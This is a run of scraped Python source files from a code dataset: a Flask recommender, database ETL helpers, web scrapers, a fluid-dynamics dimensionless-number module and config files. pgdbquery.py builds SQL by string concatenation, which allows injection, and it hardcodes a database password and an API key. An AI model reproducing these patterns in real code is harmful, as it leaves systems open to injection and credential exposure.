o):\n if isinstance(o, ObjectId):\n return str(o)\n return json.JSONEncoder.default(self, o)\n\n# /api/recommend にPOSTがきたら以下が動作する\n@recommend.route('/recommend', methods=['POST'])\ndef this_recommend():\n # まず、idをとる\n id = str(request.json[\"id\"])\n if not id:\n # idがないっということはClient側で正しくidを渡していないこと\n res = dict()\n res[\"message\"] = \"you need id. send me id.\"\n return Response(json.dumps(res), status=400, mimetype='application/json')\n\n # idに合致したデータを返す!\n user = db.user.find_one({'id':id},{'_id': False, 'name': True, 'prev' : True, 'next' : True})\n\n others = []\n for item in db.user.find( { \"id\": { \"$ne\": id }},{'_id' : False, 'id' : True, 'name': True, 'prev' : True, 'next' : True} ):\n item[\"score\"] = 0;\n others.append(item);\n\n # 以下は重み\n # 自分と現状共有\n share_now = 1\n # 自分と未来目標共有\n share_future = 1\n # 自分の目標の一つが現状になってる方\n my_dream = 5\n\n # 自分の現状と一緒の人\n # ユーザにprevがあって\n if user.get(\"prev\"):\n user_prev = user.get(\"prev\")\n for other_user in others: \n # other_userにprevがあったら\n if other_user.get(\"prev\"):\n other_user_prev = other_user.get(\"prev\")\n print(user_prev,other_user_prev)\n # 特徴ベクトルは5次元なので\n for i in range(5):\n if user_prev[i] == other_user_prev[i]:\n other_user[\"score\"] += share_now;\n\n # 自分の未来と一緒の未来を考えている仲間\n # ユーザにnextがあって if でとるとemptyでないことはわかる\n if user.get(\"next\"):\n user_next = user.get(\"next\")\n # ユーザの目標一つをとって\n for user_next_dream in user_next:\n for other_user in others: \n # other_userにnextがあったら\n if other_user.get(\"next\"):\n other_user_next = other_user.get(\"next\")\n # other_userの目標一つをとって\n for other_user_next_dream in other_user_next:\n # 特徴ベクトルは5次元なので\n for i in range(5):\n if user_next_dream[i] == other_user_next_dream[i]:\n other_user[\"score\"] += share_future;\n\n # 自分の未来が現状になっている人 ここが超重要になってくる\n # ユーザにnextがあって\n if user.get(\"next\"):\n user_next = user.get(\"next\")\n # ユーザの目標一つをとって\n for user_next_dream in user_next:\n for other_user in others: \n # other_userにprevがあったら\n if other_user.get(\"prev\"):\n other_user_prev = other_user.get(\"prev\")\n # 特徴ベクトルは5次元なので\n for i in range(5):\n if user_next_dream[i] == other_user_prev[i]:\n other_user[\"score\"] += my_dream;\n\n # 結果のJSONarray作成\n result = []\n result.append({\n \"id\" : id,\n \"name\" : user[\"name\"]\n });\n for other_user in others:\n result.append({\n \"id\" : other_user[\"id\"],\n \"name\" : other_user[\"name\"],\n \"score\" : other_user[\"score\"]\n });\n\n res = {\n \"result\" : result\n }\n\n # 以下のようにResponseを用いて返す\n return Response(JSONEncoder().encode(res), status=200, mimetype='application/json')\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"back/api/recommend.py","file_name":"recommend.py","file_ext":"py","file_size_in_byte":4402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"104172536","text":"import psycopg2\nimport sqlite3\nfrom sqlite3 import Error\n\nDB_FILE = 'db/sn-etl-ref.db'\n\n# Create DB\n\n\ndef create_connection(db_file):\n \"\"\" create a database connection to a SQLite database \"\"\"\n try:\n conn = sqlite3.connect(db_file)\n print(sqlite3.version)\n except Error as e:\n print(e)\n finally:\n conn.close()\n return None\n\n\ndef create_table(conn, create_table_sql):\n \"\"\" create a table from the create_table_sql statement\n :param conn: Connection object\n :param create_table_sql: a CREATE TABLE statement\n :return:\n \"\"\"\n try:\n c = conn.cursor()\n c.execute(create_table_sql)\n except Error as e:\n print(e)\n\n\ndef create_ref(conn, ref):\n \"\"\"\n Create a new task\n :param conn:\n :param task:\n :return:\n \"\"\"\n\n sql = ''' INSERT INTO etlref(station_name,station_id,URL,owm_key,lat,lon)\n VALUES(?,?,?,?,?,?) '''\n cur = conn.cursor()\n cur.execute(sql, ref)\n return cur.lastrowid\n\n\nif __name__ == '__main__':\n create_connection(DB_FILE)\n\n\ndef main():\n database = DB_FILE\n\n sql_create_etlref_table = \"\"\" CREATE TABLE etlref(\n ref_id serial PRIMARY KEY,\n station_name VARCHAR (100),\n station_id integer UNIQUE,\n URL TEXT,\n owm_key VARCHAR (100),\n lat numeric,\n lon numeric,\n last_run TIMESTAMP\n ); \"\"\"\n\n # create a database connection\n conn = create_connection(database)\n if conn is not None:\n # create etlref table\n create_table(conn, sql_create_etlref_table)\n else:\n print(\"Error! cannot create the database connection.\")\n\n with conn:\n # refs\n ref_1 = ('Aberporth', 2657789, 'https://www.metoffice.gov.uk/pub/data/weather/uk/climate/stationdata/aberporthdata.txt',\n '8a3539d6557d6419580db883911f883f', 52.139, -4.570)\n ref_2 = ('Armagh', 2657060, 'https://www.metoffice.gov.uk/pub/data/weather/uk/climate/stationdata/armaghdata.txt',\n '8a3539d6557d6419580db883911f883f', 52.352, -6.649)\n ref_3 = ('Ballypatrick', 2656531,\n 'https://www.metoffice.gov.uk/pub/data/weather/uk/climate/stationdata/ballypatrickdata.txt',\n '8a3539d6557d6419580db883911f883f', 55.181, -6.153)\n ref_4 = ('Bradford', 2654993,\n 'https://www.metoffice.gov.uk/pub/data/weather/uk/climate/stationdata/bradforddata.txt',\n '8a3539d6557d6419580db883911f883f', 53.813, -1.772)\n ref_5 = ('Chivenor', 2654858, 'https://www.metoffice.gov.uk/pub/data/weather/uk/climate/stationdata/chivenordata.txt',\n '8a3539d6557d6419580db883911f883f', 51.089, -4.147)\n\n # create tasks\n create_ref(conn, ref_1)\n create_ref(conn, ref_2)\n create_ref(conn, ref_3)\n create_ref(conn, ref_4)\n create_ref(conn, ref_5)\n \n\n\n# OLD CODE\nCREDENTIALS = (\n \"user=ro_user password=login1234! host=127.0.0.1 port=32768 dbname=owmetl\"\n)\n\n\ndef get_stationid_results(where):\n \"\"\" \n The function to get API parameters using a server query. \n\n Parameters: \n where: \"station_name\" value for \"etlref\" table. \n\n Returns: \n qr: Dict with station_id and OWM_key(app_id). \n \"\"\"\n with psycopg2.connect(CREDENTIALS) as connection:\n with connection.cursor() as cursor:\n try:\n QUERY = \"select station_id, owm_key from etlref where station_name = '\" + where + \"'\"\n cursor.execute(QUERY)\n pg_records = cursor.fetchall()\n for row in pg_records:\n qr = {'id': row[0],\n 'appid': row[1]}\n return qr\n except (Exception, psycopg2.Error) as error:\n print(\"Error while fetching data from PostgreSQL\", error)\n\n\ndef get_latlon_results(where):\n \"\"\" \n The function to get API parameters using a server query. \n\n Parameters: \n where: \"station_name\" value for \"etlref\" table. \n\n Returns: \n qr: Dict with lat, lon and OWM_key(app_id). \n \"\"\"\n with psycopg2.connect(CREDENTIALS) as connection:\n with connection.cursor() as cursor:\n try:\n QUERY = \"select lat, lon, owm_key from etlref where station_name = '\" + where + \"'\"\n cursor.execute(QUERY)\n pg_records = cursor.fetchall()\n for row in pg_records:\n qr = {'lat': row[0],\n 'lon': row[1], 'appid': row[2]}\n return qr\n except (Exception, psycopg2.Error) as error:\n print(\"Error while fetching data from PostgreSQL\", error)\n # finally:\n # if(connection):\n # cursor.close()\n # connection.close()\n\n\ndef get_all_stations():\n \"\"\" \n The function to get API parameters using a server query. \n\n Parameters: \n where: \"station_name\" value for \"etlref\" table. \n\n Returns: \n qr: Dict with all Station_Id (id) and OWM_key(app_id). \n \"\"\"\n with psycopg2.connect(CREDENTIALS) as connection:\n with connection.cursor() as cursor:\n try:\n QUERY = \"select station_id, owm_key from etlref\"\n cursor.execute(QUERY)\n pg_records = cursor.fetchall()\n for row in pg_records:\n qr = {'id': row[0], 'appid': row[1]}\n return qr\n except (Exception, psycopg2.Error) as error:\n print(\"Error while fetching data from PostgreSQL\", error)\n\n\ndef get_query_list(query):\n \"\"\" \n The function to get API parameters using a server query. \n\n Parameters: \n query: execute any query for returning single column. \n\n Returns: \n qr: Dict with all Station_Id (id) and OWM_key(app_id). \n \"\"\"\n with psycopg2.connect(CREDENTIALS) as connection:\n with connection.cursor() as cursor:\n try:\n cursor.execute(query)\n pg_records = cursor.fetchall()\n rl = [str(row) for row in pg_records]\n return rl\n except (Exception, psycopg2.Error) as error:\n print(\"Error while fetching data from PostgreSQL\", error)\n\n\ndef get_url(where):\n \"\"\" \n The function to get API parameters using a server query. \n\n Parameters: \n where: \"station_name\" value for \"etlref\" table. \n\n Returns: \n qr: Dict with Station_Id (id) and OWM_key(app_id). \n \"\"\"\n\n with psycopg2.connect(CREDENTIALS) as connection:\n with connection.cursor() as cursor:\n try:\n QUERY = \"select url from etlref where station_name = '\" + where + \"'\"\n cursor.execute(QUERY)\n pg_records = cursor.fetchall()\n for row in pg_records:\n qr = {'url': row[0]}\n return qr['url']\n except (Exception, psycopg2.Error) as error:\n print(\"Error while fetching data from PostgreSQL\", error)\n\n\ndef close_conns(connection, cursor):\n if(connection):\n cursor.close()\n connection.close()\n return('Connections closed')\n else:\n return('No open connections')\n","sub_path":"pgdbquery.py","file_name":"pgdbquery.py","file_ext":"py","file_size_in_byte":7603,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"487794816","text":"import requests\r\nfrom bs4 import BeautifulSoup as bs\r\nimport pickle\r\nfrom time import sleep\r\nimport os.path\r\n\r\nwith open('My Artists_Albums.pickle', \"rb\") as file:\r\n data = pickle.load(file)\r\n\r\nband_discography = {}\r\nband_discography_low_case = {}\r\nband_singles = {}\r\nband_singles_low_case = {}\r\n\r\nfor artist in data:\r\n sleep(1)\r\n wiki_template = requests.get(\"https://www.discogs.com/artist/\" + artist)\r\n page_soup = bs(wiki_template.text, \"html.parser\")\r\n discography = page_soup.find(id=\"artist\").find_all(class_ = \"title\")\r\n\r\n albums = []\r\n albums_low_case = []\r\n\r\n singles = []\r\n singles_low_case = []\r\n\r\n for i in discography:\r\n try:\r\n x = i.find(class_ = \"format\").get_text()\r\n if x.find(\"Album\")>=1 or x.find(\"EP\")>=1:\r\n Y = i.find(\"a\").get_text()\r\n y = ''.join(e.lower() for e in Y if e.isalnum())\r\n if y not in albums_low_case:\r\n albums.append(Y)\r\n albums_low_case.append(y)\r\n elif x.find(\"Single\")>=1:\r\n Y = i.find(\"a\").get_text()\r\n y = ''.join(e.lower() for e in Y if e.isalnum())\r\n if any(a.startswith(y) for a in singles_low_case) or any(a.startswith(y) for a in albums_low_case):\r\n pass\r\n else:\r\n singles.append(Y)\r\n singles_low_case.append(y) \r\n except:\r\n pass\r\n \r\n band_discography[\"%s\" % artist] = albums\r\n band_discography_low_case[\"%s\" % artist] = albums_low_case\r\n band_singles[\"%s\" % artist] = singles\r\n band_singles_low_case[\"%s\" % artist] = singles_low_case\r\n\r\nwith open(\"Band Discography.pickle\", \"ab\") as file:\r\n pickle.dump(band_discography, file)\r\n print(f\"Discography Done\")\r\n\r\nwith open(\"Band Discography_low_case.pickle\", \"ab\") as file:\r\n pickle.dump(band_discography_low_case, file)\r\n print(f\"Discography_low_case Done\")\r\n\r\nwith open(\"Band Singles.pickle\", \"ab\") as file:\r\n pickle.dump(band_singles, file)\r\n print(f\"Singles Done\")\r\n\r\nwith open(\"Band Singles_low_case.pickle\", \"ab\") as file:\r\n pickle.dump(band_singles_low_case, file)\r\n print(f\"Singles_low_case Done\")\r\n\r\n","sub_path":"(2) Album_scrapper.py","file_name":"(2) Album_scrapper.py","file_ext":"py","file_size_in_byte":2234,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"572272238","text":"import urllib2\nfrom BeautifulSoup import BeautifulSoup\n\nhdr = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11',\n 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',\n 'Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.3',\n 'Accept-Encoding': 'none',\n 'Accept-Language': 'en-US,en;q=0.8',\n 'Connection': 'keep-alive'}\n\ndrug_name_store_price_map = {}\n\ndef getDrugForDisease(disease):\n\n req = urllib2.Request('https://www.goodrx.com/'+disease+'/drugs', headers=hdr)\n page = urllib2.urlopen(req)\n soup = BeautifulSoup(page)\n table = soup.findAll(\"table\", {\"class\":\"table-sortable\"})\n#print len(table)\n table = table[0].findAll(\"tbody\", {\"class\":\"table-sortable-row\"})\n all_drug_names = []\n for each_row in table:\n #print each_row\n drug_name = each_row.findAll(\"div\", {\"class\":\"text-truncate-td\"})\n span = drug_name[0].findAll(\"span\")\n span = span[0]\n span = str(span).split(\">\")\n name = str(span[1])\n name = name.split(\"<\")\n name = str(name[0])\n #print name\n all_drug_names.append(name)\n #break\n return all_drug_names\n\n#print getDrugForDisease('fever')\n\ndef getDrugPrices(drug):\n req = urllib2.Request('https://www.goodrx.com/'+drug, headers=hdr)\n page = urllib2.urlopen(req)\n soup = BeautifulSoup(page)\n store_name = []\n prices = []\n try:\n div = soup.findAll(\"div\", {\"class\":\"price-wrap\"})\n #print div\n div = div[0].findAll(\"div\", {\"class\": \"price-row -coupon \"})\n for each_div in div:\n new_div_name = each_div.findAll(\"div\", {\"class\": \"store-name \"})\n price_ind = each_div.findAll(\"div\", {\"class\": \"pricerow-drugprice\"})\n price_ind = price_ind[0].findAll(\"span\", {\"class\": \"font-weight-medium\"})\n name = str(new_div_name[0]).replace('\\n', '')\n name = str(new_div_name[0]).split(\">\")\n name = name[1]\n name = name.split(\"<\")\n #print name\n name = name[0]\n store_name.append(name.replace('\\n', ''))\n span = price_ind[0]\n span = str(span).split(\">\")\n price = span[1]\n price = price[:-6]\n prices.append(price)\n except:\n div = soup.findAll(\"div\", {\"id\":\"otc-price-container\"})\n div = div[0].findAll(\"div\", {\"class\":\"price-item\"})\n for each_div in div:\n link = each_div.findAll(\"a\")\n link = str(link[0]).split(\" \")\n #print(link[1])\n link = link[1]\n link = link[6:-1]\n #print link\n price = each_div.findAll(\"span\", {\"class\":\"font-weight-medium\"})\n price = price[0]\n price = str(price).split(\">\")\n price = price[1]\n price = price[:-6]\n #print price\n store_name.append(link)\n prices.append(price)\n #print store_name\n #print prices\n return store_name, prices\n\ndef getDrugStoresAndPrice(disease):\n drugs = getDrugForDisease(disease)\n for each_drug in drugs[:4]:\n drug_name_store_price_map[each_drug] = getDrugPrices(each_drug)\n\n return drug_name_store_price_map\n","sub_path":"getDrugForDisease.py","file_name":"getDrugForDisease.py","file_ext":"py","file_size_in_byte":3254,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"471142783","text":"# -*- coding: utf-8 -*-\n\"\"\"\nDimensionless\n=============\n\nWhen dealing with reactor models, it is always useful to be able to quickly\ncompute approximate dimensionless numbers for the studied case. In what follows\nwe provide a brief description of these quantities as implemented in this\npackage. Definitions might vary according to the author or field of application\nand here we follow solely [Ref.2]_.\n\nReynolds Number\n---------------\n\n*This dimensionless group is named for Osborne Reynolds (1842-1912),\nprofessor of engineering at the University of Manchester. He studied the\nlaminar-turbulent transition, turbulent heat transfer, and theory of\nlubrication* [Ref.2]_. In general we denote Reynolds number by\n:math:`\\\\mathrm{Re}` and it is used to delineate flow regimes. For circular\ntubes it is defined as:\n\n.. math::\n\n \\\\mathrm{Re} = \\\\frac{\\\\rho \\\\langle v_{z} \\\\rangle D}{\\\\mu}\n\nwhere :math:`\\\\langle v_{z} \\\\rangle` is the average flow velocity in axial\ndirection and :math:`D` is the tube diameter. For values up 2100 the flow\nis assumed laminar if steady state is established and density is constant.\nFor more, see [Ref.2]_, Chapter 2.\n\nPrandtl and Schmidt Numbers\n---------------------------\n\n*Ludwig Prandtl (1875-1953) (pronounced \"Prahn-t'), who taught in Hannover and\nGottingen and later served as the Director of the Kaiser Wilhelm Institute for\nFluid Dynamics, was one of the people who shaped the future of his field at the\nbeginning of the twentieth century; he made contributions to turbulent flow and\nheat transfer, but his development of the boundary-layer equations was his\ncrowning achievement* [Ref.2]_. The dimensionless quantity appear under two\nforms of interest for the analysis of reactors: its thermal and its chemical\nversions. In thermal version, this number compares the kinematic viscosity\n:math:`nu` to the thermal diffusivity :math:`\\alpha`, which is replaced by\nspecies diffusivity in its chemical version, which is more often referred to as\nSchmidt number. *Ernst Heinrich Wilhelm Schmidt (1892-1975), who taught at\nthe universities in Gdansk, Braunschweig, and Munich (where he was the\nsuccessor to Nusselt)* [Ref.2]_. The ratio :math:`\\frac{\\nu}{\\alpha}` indicates\nthe relative ease of momentum and energy or species transport in flow systems.\nThis dimensionless ratio in thermal form is given by\n\n.. math::\n\n \\\\mathrm{Pr} = \\\\frac{\\\\nu}{\\\\alpha} = \\\\frac{C_{p} \\\\mu}{k}\n\nIf transport properties for a gas are not available, thermal Prandtl number can\nbe estimated at low pressure and non-polar molecules mixtures with help of\nEucken formula as\n\n.. math::\n\n \\\\mathrm{Pr} = \\\\frac{C_{p}}{C_{p} + \\\\frac{5}{4}R}\n\nSchmidt number range can be much broader than its thermal relative, Prandtl\nnumber. This is given by the effects of cross-section and molar weight\ndetermining mass diffusivity of gas species. Since this number is always\ndefined for a pair of species, here we will try to make it more general by\nusing the mixture averaged diffusion coefficients as provided by Cantera's\n`Transport` method `mix_diff_coeffs`.\n\n.. math::\n\n \\\\mathrm{Sc}_{min,max} = \\\\frac{\\\\nu}{D_{min,max}}\n\nFor more, see [Ref.2]_, Chapter 9.\n\nPéclet Number\n-------------\n\n*Jean-Claude-Eugene Peclet (pronounced \"Pay-clay\" with the second syllable\naccented) (1793-1857) authored several books including one on heat conduction*\n[Ref.2]_. This number is nothing more than the multiplication of Reynolds and\nPrandtl or Schmidt numbers. By simplifying factors one easily determines that\nit represents the ratio of convective by diffusive transport (thermal or\nspecies). High :math:`\\\\mathrm{Pe}` limit represents the plug-flow behavior.\n\n.. math::\n\n \\\\mathrm{Pe}_{th} = \\\\mathrm{Re} \\\\mathrm{Pr}\\\\qquad\n \\\\mathrm{Pe}_{ch} = \\\\mathrm{Re} \\\\mathrm{Sc}\n\nGrashof Number\n--------------\n\n*Franz Grashof (1826-1893) (pronounced \"Grahss-hoff). He was professor of\napplied mechanics in Karlsruhe and one of the founders of the Verein Deutscher\nIngenieure in 1856* [Ref.2]_. The Grashof number is the characteristic group\noccurring in analyses of free convection. It approximates the ratio of the\nbuoyancy to viscous force acting on a fluid.\n\n**TODO: implement diffusional Gr. The diffusional Grashof number arises because\nof the buoyant force caused by the concentration inhomogeneities.**\n\n.. math::\n\n \\\\mathrm{Gr} = \\frac{g\\beta l^{3} \\\\Delta T}{\\nu^{2}}\n\n\nRayleigh Number\n---------------\n\nRayleigh number is the multiplication of Grashof and Prandtl numbers.\nSee Rayleigh_.\n\n.. _Rayleigh: https://en.wikipedia.org/wiki/Rayleigh_number\n\"\"\"\nimport cantera as ct\nDEBUG = False\n\n\ndef _get_mu(gas, mu):\n \"\"\" Helper to retrieve viscosity. \"\"\"\n if mu is None:\n try:\n return gas.viscosity\n except ct.CanteraError as err:\n if DEBUG:\n print(f\"While retrieving viscosity: {err}\")\n raise NotImplementedError(\"Missing viscosity\")\n return mu\n\n\ndef Re(gas, Uz, D, mu=None):\n \"\"\" Returns Reynolds number.\n\n Parameters\n ----------\n gas : cantera.Solution\n Gas phase with transport properties. If transport manager does not\n implement dynamic viscosity, this shall be provided through `mu`.\n U : float\n Fluid velocity in meters per second.\n D : float\n Problem characteristic diameter in meters.\n mu : float, optional\n Dynamic viscosity in pascal times second. Default is None.\n\n Raises\n ------\n AssertionError\n If gas has no transport manager and `mu` was not supplied.\n\n Returns\n -------\n float\n Reynolds number.\n \"\"\"\n return gas.density * Uz * D / _get_mu(gas, mu)\n\n\ndef Pr(gas, mu=None, k=None):\n \"\"\" Returns Prandtl number.\n\n Parameters\n ----------\n gas : cantera.Solution\n Gas phase with transport properties. If transport manager does not\n implement dynamic viscosity, this shall be provided through `mu`.\n mu : float, optional\n Dynamic viscosity in pascal times second. Default is `None`.\n k : float, optional\n Conductivity in watts per meter times kelvin. Default is `None`.\n\n Raises\n ------\n ValueError\n Missing thermal conductivity and gas has not transport manager.\n NotImplementedError\n If gas has no transport manager and `mu` was not supplied.\n\n Returns\n -------\n float\n Prandtl number.\n \"\"\"\n cp = gas.cp_mass\n\n def eucken():\n if k is None:\n raise ValueError(\"Missing thermal conductivity\")\n\n try:\n return cp * _get_mu(gas, mu) / k\n except ct.CanteraError as err:\n raise NotImplementedError(f\"Approximation not implemented: {err}\")\n # FIXME this is wrong!\n # print(f'Using Eucken approximation : {err}')\n # return cp / (cp + 0.00125 * cantera.gas_constant)\n\n try:\n return cp * _get_mu(gas, mu) / gas.thermal_conductivity\n except ct.CanteraError:\n return eucken()\n\n\ndef Sc(gas, mu=None, Dab=None):\n \"\"\" Returns Schmidt number.\n\n Parameters\n ----------\n gas : cantera.Solution\n Gas phase with transport properties. If transport manager does not\n implement dynamic viscosity, this shall be provided through `mu`.\n mu : float, optional\n Dynamic viscosity in pascal times second. Default is `None`.\n Dab : float, optional\n Species diffusivity in square meters per second. Default is `None`.\n\n Raises\n ------\n AssertionError\n If gas has no transport manager and `mu` or `Dab` were not supplied.\n\n Returns\n -------\n tuple\n Minimum and maximum Schmidt number.\n \"\"\"\n try:\n kappa_min = min(gas.mix_diff_coeffs)\n kappa_max = max(gas.mix_diff_coeffs)\n except ct.CanteraError:\n if Dab is None:\n raise ValueError(\"Missing diffusivity\")\n kappa_min = kappa_max = Dab\n\n nu = _get_mu(gas, mu) / gas.density\n return nu / kappa_max, nu / kappa_min\n\n\ndef Pe(gas, Uz, D, mu=None, Dab=None, k=None):\n \"\"\" Returns Peclet numbers.\n\n Parameters\n ----------\n gas : cantera.Solution\n Gas phase with transport properties. If transport manager does not\n implement dynamic viscosity, this shall be provided through `mu`.\n U : float\n Fluid velocity in meters per second.\n D : float\n Problem characteristic diameter in meters.\n mu : float, optional\n Dynamic viscosity in pascal times second. Default is `None`.\n Dab : float, optional\n Species diffusivity in square meters per second. Default is `None`.\n k : float, optional\n Conductivity in watts per meter times kelvin. Default is `None`.\n\n Returns\n -------\n tuple\n A tuple containing the thermal Peclet number and another tuple with\n the minimum and maximum chemical Peclet numbers.\n \"\"\"\n Re_ev = Re(gas, Uz, D, mu=mu)\n Sc_ev = Sc(gas, mu=mu, Dab=Dab)\n Pe_th = Re_ev * Pr(gas, mu=mu, k=k)\n Pe_ch = (Re_ev * Sc_ev[0], Re_ev * Sc_ev[1])\n return Pe_th, Pe_ch\n\n\ndef Gr(gas, D, Tw, mu=None, g=9.81):\n \"\"\" Returns Grashof number.\n\n Parameters\n ----------\n D : float\n Problem characteristic diameter in meters.\n Tw : float\n Pipe wall temperature in kelvin.\n mu : float, optional\n Dynamic viscosity in pascal times second. Default is `None`.\n g : float, optional\n Gravity acceleration in meters per square second. Default is `9.81`.\n\n Raises\n ------\n AssertionError\n If gas has no transport manager and `mu` was not supplied.\n\n Returns\n -------\n float\n Grashof number.\n \"\"\"\n beta = gas.thermal_expansion_coeff\n nu = _get_mu(gas, mu) / gas.density\n return beta * g * (Tw - gas.T) * D ** 3 / nu ** 2\n\n\ndef Ra(gas, D, Tw, mu=None, k=None, g=9.81):\n \"\"\" Returns Rayleigh number.\n\n Parameters\n ----------\n D : float\n Problem characteristic diameter in meters.\n Tw : float\n Pipe wall temperature in kelvin.\n mu : float, optional\n Dynamic viscosity in pascal times second. Default is `None`.\n k : float, optional\n Conductivity in watts per meter times kelvin. Default is `None`.\n g : float, optional\n Gravity acceleration in meters per square second. Default is `9.81`.\n\n Returns\n -------\n float\n Rayleigh number.\n \"\"\"\n return Gr(gas, D, Tw, mu=mu, g=g) * Pr(gas, mu=mu, k=k)\n","sub_path":"Kinetics/chemutil/dimensionless.py","file_name":"dimensionless.py","file_ext":"py","file_size_in_byte":10397,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"610717137","text":"from django.conf.urls import url\n\nfrom . import views\n\n\napp_name = \"awspa\"\n\nurlpatterns = [\n url(\"^keywords$\", views.all_keywords, name=\"all_keywords\"),\n url(\"^delete$\", views.delete_awsproduct, name=\"delete_awsproduct\"),\n url(\"^archive$\", views.plog_archive, name=\"plog_archive\"),\n]\n","sub_path":"peterbecom/awspa/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":293,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"154960343","text":"#!/usr/bin/env python3\nimport argparse\nimport os\nimport sys\nimport pathlib\n\ndef parse_args(args=None):\n parser = argparse.ArgumentParser()\n # set batch mode and json recording uploads mutually exclusive to avoid strains on the server\n mgroup = parser.add_mutually_exclusive_group()\n mgroup.add_argument(\n \"-b\",\n \"--batch_mode\",\n action=\"store_true\",\n help=\"enable batch processing of preference .yaml files in the batch_dir\"\n )\n mgroup.add_argument(\n \"-u\",\n \"--skyjson_url\",\n nargs=\"?\",\n const=True,\n help=\"enable conversion of the song to a recording stored in JSON format using the API key of sky-music.herokuapp.com\"\n )\n parser.add_argument(\n \"--batch_dir\",\n nargs=\"?\",\n const=\"\",\n help=\"set the batch song preference processing directory, defaults to batch_songs\"\n )\n parser.add_argument(\n \"-p\",\n \"--pref_file\",\n nargs=\"?\",\n const=\"\",\n help=\"set the default song preference file, defaults to `skymusic_preferences.yaml`\"\n )\n parser.add_argument(\n \"--in_dir\",\n nargs=\"?\",\n const=\"\",\n help=\"set the input directory for song processing, defaults to `test_songs`\"\n )\n parser.add_argument(\n \"--out_dir\",\n nargs=\"?\",\n const=\"\",\n help=\"set the output directory for song processing, defaults to `songs_out`\"\n )\n\n try:\n if args is None:\n return parser.parse_args()\n else:\n return parser.parse_args(args)\n\n except (ValueError, TypeError) as err:\n print(str(err))\n sys.exit(2) # On Unix, exit status 2 is used for command line syntax errors\n\ndef verify_path(path, prop=\"dir\"):\n # workaround wrapper for storing methods in a dict() structure\n # probably should catch AttributeError or TypeError\n plookup = {\n \"dir\" : lambda x: x.is_dir(),\n \"file\" : lambda x: x.is_file(),\n \"mount\" : lambda x: x.is_mount(),\n \"symlink\" : lambda x: x.is_symlink(),\n \"block\" : lambda x: x.is_block_device(),\n \"char\" : lambda x: x.is_char_device()\n }\n\n if path is None:\n return None\n\n try:\n normpath = pathlib.Path(os.path.normcase(path)).resolve()\n\n # structure needs revising\n if not normpath.exists():\n print(\"**ERROR: the path passed to Config: {:s} is either not valid or access permission is denied\".format(str(normpath)))\n sys.exit(2)\n elif normpath.is_reserved():\n # check if the path object is reserved under Windows, performing file operations can have side effects on reserved paths\n print(\"**ERROR: the path passed to Config: {:s} is a reserved path\".format(str(normpath)))\n sys.exit(2)\n elif not plookup[prop](normpath):\n print(\"**ERROR: the path passed to Config: {:s} is not the type {:s}\".format(str(normpath), prop))\n sys.exit(2)\n\n return str(normpath)\n\n except OSError as err:\n print(str(err))\n sys.exit(2)\n\n# pargs - parsed arguments\n# args - unparsed arguments\ndef get_configuration(pargs):\n config = {\n \"pref_file\": None,\n \"song_dir_out\": None,\n \"song_dir_in\": None,\n \"batch_mode\": pargs.batch_mode,\n \"batch_dir\": None,\n \"skyjson_url\": pargs.skyjson_url\n }\n\n # re-setting dictionary key-val pairs to perserve NoneType when exception is catched\n config[\"pref_file\"] = verify_path(pargs.pref_file, \"file\")\n config[\"song_dir_in\"] = verify_path(pargs.in_dir)\n config[\"song_dir_out\"] = verify_path(pargs.out_dir)\n config[\"batch_dir\"] = verify_path(pargs.batch_dir)\n\n return config\n\n","sub_path":"src/skymusic/Config.py","file_name":"Config.py","file_ext":"py","file_size_in_byte":3722,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"913035","text":"\"\"\"\narquivo de configuracao\n\"\"\"\nimport os\n\nBASE_DIR = os.path.dirname(os.path.dirname(__file__))\nROOT_DIR = os.path.normpath(os.path.join(BASE_DIR, 'RI'))\nTWEETS_DIR = os.path.normpath(os.path.join(ROOT_DIR, 'tweets'))\nTWITTER_CONSUMER_KEY = os.environ[\"TWITTER_CONSUMER_KEY\"]\nTWITTER_CONSUMER_SECRET = os.environ[\"TWITTER_CONSUMER_SECRET\"]\nTWITTER_ACCESS_KEY = os.environ[\"TWITTER_ACCESS_KEY\"]\nTWITTER_ACCESS_SECRET = os.environ[\"TWITTER_ACCESS_SECRET\"]\nTIME_LIMITE_STREAMING = 100000000\n","sub_path":"settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"540585646","text":"# =================================================================================================\n# Copyright (C) 2018-2019 University of Glasgow\n# All rights reserved.\n# \n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions \n# are met:\n#\n# 1. Redistributions of source code must retain the above copyright notice,\n# this list of conditions and the following disclaimer.\n#\n# 2. Redistributions in binary form must reproduce the above copyright\n# notice, this list of conditions and the following disclaimer in the\n# documentation and/or other materials provided with the distribution.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n# INTERRUPTION) 